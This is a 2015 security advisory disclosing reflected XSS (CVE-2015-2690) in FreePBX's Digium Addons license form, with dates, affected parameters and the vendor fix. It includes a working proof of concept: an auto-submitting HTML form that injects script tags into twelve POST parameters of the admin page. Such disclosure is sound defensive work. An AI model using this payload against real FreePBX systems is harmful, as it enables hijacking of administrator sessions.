[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Multiple Cross-Site Scripting (XSS) in FreePBX



Advisory ID: HTB23253
Product: FreePBX
Vendor: Sangoma Technologies
Vulnerable Version(s): 12.0.43 and probably prior
Tested Version: 12.0.43
Advisory Publication:  March 18, 2015  [without technical details]
Vendor Notification: March 18, 2015 
Vendor Patch: March 27, 2015 
Public Disclosure: April 22, 2015 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2015-2690
Risk Level: Low 
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities 
in FreePBX, which can be exploited to perform Cross-Site Scripting (XSS) 
attacks against web application administrators. This vulnerability can be used 
to steal administrator’s cookies, perform phishing and drive-by-download 
attacks.

1) Multiple XSS vulnerabilities in FreePBX: CVE-2015-2690

Input passed via multiple HTTP POST parameters to "/admin/config.php" script 
(when "type" is set to "setup", "display" is set to "digiumaddons", "page" is 
set to "add-license-form", and "addon" is set to "ffa") is not properly 
sanitised before being returned to the user. A remote attacker can trick a 
logged-in administrator to open a specially crafted link and execute arbitrary 
HTML and script code in browser in context of the vulnerable website.

The vulnerable HTTP POST parameters are: "add_license_key", 
"add_license_first_name", "add_license_last_name", "add_license_company", 
"add_license_address1", "add_license_address2", "add_license_city", 
"add_license_state", "add_license_post_code", "add_license_country", 
"add_license_phone", and "add_license_email".

The exploitation example below will show JS pop-up displaying "ImmuniWeb":


<form 
action="http://[host]/admin/config.php?type=setup&display=digiumaddons&page=add-license-form&addon=ffa";
 method="post" name="main">
<input type="hidden" name="add_license_key"  
value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_first_name"  
value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_last_name" 
value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_company"  
value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_address1" 
value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_address2"  
value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_city"  
value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_state"  
value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_post_code"  
value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_country"  
value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_phone"  
value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_email"  
value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_submit"  value='Submit'>
<input type="submit" id="btn">
</form>
<script>document.main.submit()</script>


-----------------------------------------------------------------------------------------------

Solution:

Update Digium Addons Module of FreePBX installation to version 2.11.0.7

More Information:
http://git.freepbx.org/projects/FREEPBX/repos/digiumaddoninstaller/commits/2aad006024b74c9ff53943d3e68527a3dffac855

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23253 - 
https://www.htbridge.com/advisory/HTB23253 - Reflected Cross-Site Scripting 
(XSS) in FreePBX.
[2] FreePBX - http://www.freepbx.org - FreePBX is as an open source, web-based 
PBX solution.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual 
web application penetration test and cutting-edge vulnerability scanner 
available online via a Software-as-a-Service (SaaS) model.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.